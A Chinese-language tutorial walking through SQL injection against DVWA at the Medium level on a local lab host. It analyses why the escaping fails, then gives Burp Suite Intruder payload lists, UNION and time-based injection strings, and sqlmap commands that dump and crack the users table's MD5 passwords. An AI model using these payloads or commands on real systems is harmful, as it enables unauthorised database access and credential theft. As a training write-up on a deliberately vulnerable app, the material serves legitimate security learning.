文章目录
-
- [1. 环境准备](#1. 环境准备)
-
- [1.1 获取 Session Cookie](#1.1 获取 Session Cookie)
- [2. Medium 安全级别源码分析](#2. Medium 安全级别源码分析)
-
- [2.1 源码](#2.1 源码)
- [2.2 Low vs Medium 关键变化](#2.2 Low vs Medium 关键变化)
- [2.3 防护机制分析:`mysqli_real_escape_string()`](#2.3 防护机制分析:
mysqli_real_escape_string()) - [2.4 漏洞分析:为什么 Medium 仍然可被注入?](#2.4 漏洞分析:为什么 Medium 仍然可被注入?)
- [3. Burp Suite 自动化注入测试](#3. Burp Suite 自动化注入测试)
-
- [3.1 环境准备](#3.1 环境准备)
-
- [3.1.1 启动 Burp Suite](#3.1.1 启动 Burp Suite)
- [3.1.2 配置浏览器代理](#3.1.2 配置浏览器代理)
- [3.1.3 登录 DVWA](#3.1.3 登录 DVWA)
- [3.2 拦截并修改请求](#3.2 拦截并修改请求)
-
- [3.2.1 启动拦截](#3.2.1 启动拦截)
- [3.2.2 查看拦截的请求](#3.2.2 查看拦截的请求)
- [3.2.3 第一次修改:判断注入点](#3.2.3 第一次修改:判断注入点)
- [3.3 使用 Repeater 进行快速测试](#3.3 使用 Repeater 进行快速测试)
-
- [3.3.1 发送请求到 Repeater](#3.3.1 发送请求到 Repeater)
- [3.3.2 确定字段数](#3.3.2 确定字段数)
- [3.3.3 联合查询测试](#3.3.3 联合查询测试)
- [3.4 使用 Intruder 进行自动化批量测试](#3.4 使用 Intruder 进行自动化批量测试)
-
- [3.4.1 发送请求到 Intruder](#3.4.1 发送请求到 Intruder)
- [3.4.2 配置 Payload 位置](#3.4.2 配置 Payload 位置)
- [3.4.3 选择攻击类型](#3.4.3 选择攻击类型)
- [3.4.4 配置 Payload 列表](#3.4.4 配置 Payload 列表)
- [3.4.5 配置 Grep 匹配(可选)](#3.4.5 配置 Grep 匹配(可选))
- [3.4.6 启动攻击](#3.4.6 启动攻击)
- [3.4.7 分析攻击结果](#3.4.7 分析攻击结果)
- [3.4.8 查看具体响应](#3.4.8 查看具体响应)
- [3.5 获取数据库信息](#3.5 获取数据库信息)
-
- [3.5.1 获取数据库名](#3.5.1 获取数据库名)
- [3.5.2 获取数据库版本](#3.5.2 获取数据库版本)
- [3.5.3 获取数据库用户](#3.5.3 获取数据库用户)
- [3.5.4 获取表名(处理字符集冲突)](#3.5.4 获取表名(处理字符集冲突))
- [3.5.5 获取列名](#3.5.5 获取列名)
- [3.5.6 获取用户数据](#3.5.6 获取用户数据)
- [3.5.7 密码破解(MD5)](#3.5.7 密码破解(MD5))
- [3.6 Burp Suite 注入测试总结](#3.6 Burp Suite 注入测试总结)
-
- [3.6.1 使用到的 Burp 模块](#3.6.1 使用到的 Burp 模块)
- [3.6.2 关键快捷键](#3.6.2 关键快捷键)
- [3.6.3 Burp 测试 vs 手工测试](#3.6.3 Burp 测试 vs 手工测试)
- [4. Sqlmap 自动化注入](#4. Sqlmap 自动化注入)
-
- [4.1 Medium 级别的 Sqlmap 命令变化](#4.1 Medium 级别的 Sqlmap 命令变化)
- [4.2 步骤 1:枚举所有数据库](#4.2 步骤 1:枚举所有数据库)
- [4.3 步骤 2:枚举表名](#4.3 步骤 2:枚举表名)
- [4.4 步骤 3:获取列名](#4.4 步骤 3:获取列名)
- [4.5 步骤 4:导出数据并破解密码](#4.5 步骤 4:导出数据并破解密码)
- [4.6 Medium 注入点详情](#4.6 Medium 注入点详情)
- [4.7 sqlmap 命令汇总](#4.7 sqlmap 命令汇总)
1. 环境准备
1.1 获取 Session Cookie
- 按
F12打开开发者工具 - 点击 Network(网络) / Application(应用) 标签
- 找到 Cookie 信息
示例 Cookie:
PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=medium
注意 :与 Low 级别不同,Cookie 中的
security=medium
2. Medium 安全级别源码分析
在开始注入之前,先查看 Medium 级别的 PHP 源码,分析防护机制和漏洞点。
2.1 源码
php
<?php
if (isset($_POST['id'])) {
$id = $_POST['id'];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die('<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>');
while ($row = mysqli_fetch_assoc($result)) {
echo "<pre>ID: {$id}<br />First name: {$row['first_name']}<br />Surname: {$row['last_name']}</pre>";
}
}
?>
2.2 Low vs Medium 关键变化
| 特性 | Low | Medium |
|---|---|---|
| 请求方法 | GET($_GET['id']) |
POST($_POST['id']) |
| 输入过滤 | 无任何过滤 | mysqli_real_escape_string() |
| 输入交互 | 文本框 | 下拉菜单(Select) |
| SQL 查询 | WHERE user_id = '$id' |
WHERE user_id = $id |
2.3 防护机制分析:mysqli_real_escape_string()
mysqli_real_escape_string() 是 MySQL 提供的转义函数,它会转义以下特殊字符:
| 字符 | 转义后 |
|---|---|
\ |
\\ |
' |
\' |
" |
\" |
\0 |
\\0(NULL) |
\n |
\\n(换行) |
\r |
\\r(回车) |
2.4 漏洞分析:为什么 Medium 仍然可被注入?
关键发现 :虽然 Medium 使用 mysqli_real_escape_string() 转义了输入,但存在以下可绕过的问题:
-
user_id没有用引号包裹(数字型注入)sql-- Medium 的 SQL 语句 SELECT first_name, last_name FROM users WHERE user_id = $id; ↑ 没有引号! -- Low 的 SQL 语句(有引号) SELECT first_name, last_name FROM users WHERE user_id = '$id'; -
mysqli_real_escape_string()只转义字符串中的引号,对数字型注入无效- 转义函数主要防止字符串中的单引号闭合
- 在数字型上下文中,注入语句不需要引号,转义无效
-
下拉菜单可被绕过
- 虽然页面将输入方式从文本框改为下拉菜单
- 但攻击者可以直接构造 POST 请求,绕过前端限制
结论:Medium 的防护对数字型 SQL 注入完全不生效。
3. Burp Suite 自动化注入测试
由于 Medium 使用 POST 方法传参,手工注入需要逐个构造请求,效率低下。本文使用 Burp Suite Professional 进行自动化注入测试,效率提升 10 倍以上。
3.1 环境准备
3.1.1 启动 Burp Suite
powershell
Start-Process "C:\Users\Administrator\AppData\Local\Programs\BurpSuitePro\BurpSuitePro.exe"
3.1.2 配置浏览器代理
- 打开浏览器(推荐 Chrome 或 Firefox)
- 安装 FoxyProxy 或手动配置代理:
- 代理地址:
127.0.0.1 - 代理端口:
8080
- 代理地址:
- 访问
http://burp测试代理是否生效(应显示 Burp 欢迎页面)
3.1.3 登录 DVWA
- 浏览器访问:
http://192.168.0.107/DVWA/ - 输入账号密码:
- 用户名:
admin - 密码:
admin
- 用户名:
- 点击左侧菜单 SQL Injection
3.2 拦截并修改请求
3.2.1 启动拦截
- 在 Burp Suite 中,点击顶部 Proxy 标签
- 确保 Intercept is on 按钮已开启(红色)
- 刷新 DVWA 的 SQL Injection 页面
- Burp 会拦截到 POST 请求
3.2.2 查看拦截的请求
拦截到的原始请求如下:
http
POST /DVWA/vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Cookie: PHPSESSID=xxx; security=medium
id=1&Submit=Submit
关键字段说明:
| 字段 | 说明 |
|---|---|
POST |
请求方法(Medium 使用 POST) |
/DVWA/vulnerabilities/sqli/ |
SQL 注入模块路径 |
id=1 |
注入点参数 |
Cookie |
包含会话 ID 和安全级别 |
3.2.3 第一次修改:判断注入点
将 id=1 修改为 id=1 or 1=1:
http
POST /DVWA/vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.0.107
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Cookie: PHPSESSID=xxx; security=medium
id=1 or 1=1&Submit=Submit
点击 Forward 按钮发送请求。
查看响应:
- 点击 Proxy → HTTP history
- 找到刚才的请求
- 在右侧 Response 标签查看返回内容
预期结果:
html
<pre>
ID: 1 or 1=1
First name: admin
Surname: admin</pre
>
<pre>
ID: 1 or 1=1
First name: Gordon
Surname: Brown</pre
>
<pre>
ID: 1 or 1=1
First name: Hack
Surname: Me</pre
>
<pre>
ID: 1 or 1=1
First name: Pablo
Surname: Picasso</pre
>
<pre>
ID: 1 or 1=1
First name: Bob
Surname: Smith</pre
>
结论: 返回了 5 条用户记录,说明存在 SQL 注入漏洞。
3.3 使用 Repeater 进行快速测试
3.3.1 发送请求到 Repeater
- 在拦截的请求上右键 → Send to Repeater (或按
Ctrl+R) - 点击顶部 Repeater 标签
3.3.2 确定字段数
在 Repeater 的请求面板中修改 id 参数:
测试 1:
http
id=1 order by 3#&Submit=Submit
点击 Send 按钮,查看响应:
html
<p>You have an error in your SQL syntax; ... near '3#' at line 1</p>
测试 2:
http
id=1 order by 2#&Submit=Submit
点击 Send 按钮,查看响应:
html
<pre>
ID: 1 order by 2#
First name: admin
Surname: admin</pre
>
结论: 查询语句包含 2 个字段 (order by 3 报错,order by 2 正常)
3.3.3 联合查询测试
测试语句:
http
id=-1 union select 1,2&Submit=Submit
响应结果:
html
<pre>
ID: -1 union select 1,2
First name: 1
Surname: 2</pre
>
结论: 该注入点支持 UNION 查询,且有 2 列可用于数据提取。
3.4 使用 Intruder 进行自动化批量测试
3.4.1 发送请求到 Intruder
- 在 Repeater 中右键请求 → Send to Intruder (或按
Ctrl+I) - 点击顶部 Intruder 标签
3.4.2 配置 Payload 位置
-
点击 Positions 子标签
-
Burp 会自动用
§标记所有参数:id=§1§&Submit=§Submit§ -
点击 Clear § 清除所有标记
-
手动标记
id参数的值:id=§1§&Submit=Submit
3.4.3 选择攻击类型
在 Attack type 下拉框中选择:
- Sniper(推荐):单个 payload 逐个测试,适合快速检测注入点
3.4.4 配置 Payload 列表
-
点击 Payloads 子标签
-
在 Payload Options 区域添加以下 SQL 注入测试 payload:
1 or 1=1
1 order by 1#
1 order by 2#
1 order by 3#
1 order by 4#
-1 union select 1,2
-1 union select 1,database()
-1 union select 1,@@version
-1 union select 1,user()
1 and sleep(5)
1 and 1=1
1 and 1=2
快速添加方法:
- 点击 Load... 按钮
- 选择文件:
D:\Programs\burp_sqlmap_payloads.txt - 所有 payload 会自动加载
3.4.5 配置 Grep 匹配(可选)
- 点击 Settings 子标签
- 展开 Grep - Match
- 勾选或添加以下关键词:
You have an error in your SQL syntaxUnknown columnFirst name:Surname:
这样 Burp 会自动统计每个响应中包含这些关键词的次数。
3.4.6 启动攻击
点击右上角 Start attack 按钮。
3.4.7 分析攻击结果
Burp 会打开一个新窗口显示攻击结果:
| # | Payload | Status | Length | Time | Grep-Match |
|---|---|---|---|---|---|
| 0 | 1 |
200 | 5170 | 12ms | 2 |
| 1 | 1 or 1=1 |
200 | 5438 | 15ms | 10 |
| 2 | 1 order by 1# |
200 | 5182 | 13ms | 2 |
| 3 | 1 order by 2# |
200 | 5182 | 14ms | 2 |
| 4 | 1 order by 3# |
200 | 437 | 11ms | 0 |
| 5 | 1 order by 4# |
200 | 436 | 10ms | 0 |
| 6 | -1 union select 1,2 |
200 | 5179 | 16ms | 2 |
| 7 | -1 union select 1,database() |
200 | 5191 | 18ms | 2 |
| 8 | -1 union select 1,@@version |
200 | 5192 | 17ms | 2 |
| 9 | -1 union select 1,user() |
200 | 5197 | 19ms | 2 |
| 10 | 1 and sleep(5) |
200 | 5110 | 5012ms | 2 |
| 11 | 1 and 1=1 |
200 | 5177 | 14ms | 2 |
| 12 | 1 and 1=2 |
200 | 5110 | 13ms | 0 |
结果分析技巧:
-
按 Length 排序:点击 Length 列标题
- 长度明显变长(5438)→ 注入成功,返回更多数据
- 长度骤减(436-437)→ SQL 报错
-
按 Time 排序:点击 Time 列标题
- 响应时间明显增加(>5000ms)→ 时间盲注成功
-
按 Grep-Match 排序:
- 匹配数为 0 → 可能报错
- 匹配数异常 → 可能注入成功
3.4.8 查看具体响应
- 点击任意一行(如
1 or 1=1) - 在右侧 Response 标签查看完整响应
- 切换到 Render 标签查看渲染后的页面
3.5 获取数据库信息
3.5.1 获取数据库名
在 Repeater 中测试:
http
id=-1 union select 1,database()&Submit=Submit
响应结果:
html
<pre>
ID: -1 union select 1,database()
First name: 1
Surname: dvwa</pre
>
结论: 数据库名为 dvwa
3.5.2 获取数据库版本
http
id=-1 union select 1,@@version&Submit=Submit
响应结果:
html
Surname: 5.7.26
3.5.3 获取数据库用户
http
id=-1 union select 1,user()&Submit=Submit
响应结果:
html
Surname: dvwa@localhost
信息汇总:
| 信息 | 结果 |
|---|---|
| 数据库名 | dvwa |
| MySQL 版本 | 5.7.26 |
| 当前用户 | dvwa@localhost |
3.5.4 获取表名(处理字符集冲突)
直接查询会报错:
http
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&Submit=Submit
错误信息:
Illegal mix of collations for operation 'UNION'
解决方案:使用 HEX 编码
http
id=-1 union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()&Submit=Submit
响应结果:
html
Surname: 7573657273
十六进制解码:
75 73 65 72 73 → users
结论: dvwa 数据库有 1 个表:users
3.5.5 获取列名
http
id=-1 union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name=0x7573657273&Submit=Submit
响应结果(十六进制):
757365725F69642C66697273745F6E616D652C6C6173745F6E616D652C757365722C70617373776F72642C6176617461722C6C6173745F6C6F67696E2C6661696C65645F6C6F67696E
解码结果:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login
users 表结构:
| 列名 | 含义 |
|---|---|
| user_id | 用户 ID |
| first_name | 名 |
| last_name | 姓 |
| user | 用户名 |
| password | 密码(MD5) |
| avatar | 头像 |
| last_login | 最后登录 |
| failed_login | 失败登录次数 |
3.5.6 获取用户数据
http
id=-1 union select 1,hex(group_concat(user,0x3a,password)) from users&Submit=Submit
响应结果(十六进制):
61646D696E3A3231323332663239376135376135613734333839346130653461383031666333,
676F72646F6E623A6539396131386334323863623338643566323630383533363738393232653033,
3133373A3864333533336437356165326333393636643765306434666363363932313662,
7061626C6F3A3064313037643039663562626534306361646533646535633731653965396237,
736D697468793A3566346463633362356161373635643631643833323764656238383263663939
解码结果:
admin:21232f297a57a5a743894a0e4a801fc3
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99
3.5.7 密码破解(MD5)
使用在线 MD5 解密工具或本地字典破解:
| 用户名 | MD5 哈希 | 明文密码 |
|---|---|---|
| admin | 21232f297a57a5a743894a0e4a801fc3 | admin |
| gordonb | e99a18c428cb38d5f260853678922e03 | abc123 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | charley |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
3.6 Burp Suite 注入测试总结
3.6.1 使用到的 Burp 模块
| 模块 | 用途 | 使用频率 |
|---|---|---|
| Proxy | 拦截和修改请求 | ⭐⭐⭐⭐⭐ |
| Repeater | 手动重放和测试单个 payload | ⭐⭐⭐⭐ |
| Intruder | 批量自动化测试 | ⭐⭐⭐⭐⭐ |
| HTTP history | 查看历史请求和响应 | ⭐⭐⭐⭐ |
| Target | 查看站点地图 | ⭐⭐⭐ |
3.6.2 关键快捷键
| 快捷键 | 功能 |
|---|---|
Ctrl+R |
发送请求到 Repeater |
Ctrl+I |
发送请求到 Intruder |
Ctrl+Enter |
在 Repeater 中发送请求 |
Ctrl+U |
对 URL 进行 URL 解码 |
3.6.3 Burp 测试 vs 手工测试
| 对比项 | 手工测试(JavaScript) | Burp Suite 测试 |
|---|---|---|
| 配置复杂度 | 中(需要写脚本) | 低(图形界面) |
| 测试效率 | 低(逐个测试) | 高(批量自动化) |
| 结果分析 | 困难(需要手动查看) | 简单(自动排序和过滤) |
| 可重复性 | 差(每次重新写脚本) | 好(保存配置和 payload) |
| 学习曲线 | 陡峭 | 平缓 |
| 推荐度 | ⭐⭐ | ⭐⭐⭐⭐⭐ |
4. Sqlmap 自动化注入
4.1 Medium 级别的 Sqlmap 命令变化
与 Low 级别不同,Medium 使用 POST 方法,需要用 --data 参数代替 URL 参数:
powershell
# Low 命令(GET 方式)
sqlmap -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="..."
# Medium 命令(POST 方式)
sqlmap -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="..."
4.2 步骤 1:枚举所有数据库
命令:
powershell
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=medium" --dbs --batch
参数详解:
| 参数 | 说明 |
|---|---|
-u |
目标 URL(不含参数) |
--data |
POST 请求体的参数 |
--cookie |
认证 Cookie,security=medium |
--dbs |
枚举所有数据库 |
--batch |
对所有问题自动选择默认答案 |
执行结果:
[21:04:04] [INFO] testing connection to the target URL
[21:04:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:04:04] [INFO] testing if the target URL content is stable
[21:04:04] [INFO] target URL content is stable
[21:04:04] [INFO] testing if POST parameter 'id' is dynamic
[21:04:04] [WARNING] POST parameter 'id' does not appear to be dynamic
[21:04:04] [INFO] heuristic (basic) test shows that POST parameter 'id' might be injectable
(possible DBMS: 'MySQL')
[21:04:05] [INFO] POST parameter 'id' appears to be
'Boolean-based blind - Parameter replace (original value)' injectable
[21:04:05] [INFO] POST parameter 'id' is
'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable
[21:04:16] [INFO] POST parameter 'id' appears to be
'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[21:04:16] [INFO] target URL appears to have 2 columns in query
[21:04:16] [INFO] POST parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
web server operating system: Windows
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.1
available databases [2]:
[*] dvwa
[*] information_schema
4.3 步骤 2:枚举表名
命令:
powershell
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=medium" -D dvwa --tables --batch
执行结果:
Database: dvwa
[1 table]
+-------+
| users |
+-------+
4.4 步骤 3:获取列名
命令:
powershell
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=medium" -D dvwa -T users --columns --batch
执行结果:
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user_id | int(6) |
| first_name | varchar(15) |
| last_name | varchar(15) |
| user | varchar(15) |
| password | varchar(32) |
| avatar | varchar(70) |
| last_login | timestamp |
| failed_login | int(3) |
+--------------+-------------+
4.5 步骤 4:导出数据并破解密码
命令:
powershell
python sqlmap.py -u "http://192.168.0.107/DVWA/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=medium" -D dvwa -T users --dump --batch
执行结果:
[21:05:04] [INFO] recognized possible password hashes in column 'password'
[21:05:04] [INFO] using hash method 'md5_generic_passwd'
[21:05:16] [INFO] cracked password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'
[21:05:19] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[21:05:23] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[21:05:32] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[21:05:35] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
破解结果汇总:
| 用户名 | MD5 哈希 | 明文密码 |
|---|---|---|
| admin | 21232f297a57a5a743894a0e4a801fc3 | admin |
| gordonb | e99a18c428cb38d5f260853678922e03 | abc123 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | charley |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
4.6 Medium 注入点详情
Sqlmap 在 Medium 级别发现了 4 种注入技术:
| 编号 | 注入类型 | 技术名称 | 原理 |
|---|---|---|---|
| 1 | Boolean-based blind | 布尔盲注 - 参数替换 | 通过替换原始参数值,根据页面返回差异判断 |
| 2 | Error-based | 错误注入 - EXTRACTVALUE | 利用 MySQL EXTRACTVALUE 函数错误回显数据 |
| 3 | Time-based blind | 时间盲注 - SLEEP | 利用 SLEEP 函数造成延迟,判断注入结果 |
| 4 | UNION query | 联合查询 - 2列 | 使用 UNION SELECT 直接获取数据 |
Payload 示例:
# Boolean-based blind
Payload: id=(SELECT (CASE WHEN (2412=2412) THEN 1 ELSE (SELECT 4928 UNION SELECT 3989) END))
# Error-based
Payload: id=1 AND EXTRACTVALUE(1063,CONCAT(0x5c,0x71716b6b71,(SELECT (ELT(1063=1063,1))),0x71716a6b71))
# Time-based blind
Payload: id=1 AND (SELECT 2496 FROM (SELECT(SLEEP(5)))ePiS)
# UNION query
Payload: id=1 UNION ALL SELECT CONCAT(0x71716b6b71,...),NULL-- -
4.7 sqlmap 命令汇总
| 命令 | 作用 |
|---|---|
--data="id=1&Submit=Submit" |
发送 POST 请求体 |
--cookie="PHPSESSID=...; security=medium" |
认证和级别配置 |
--dbs |
枚举所有数据库 |
-D dvwa --tables |
枚举指定数据库的表 |
-D dvwa -T users --columns |
枚举指定表的列 |
-D dvwa -T users --dump |
导出数据并自动破解密码 |
--batch |
自动确认,非交互模式 |
免责声明:本文内容仅用于安全教育和授权渗透测试,请勿将所学技术用于非法用途。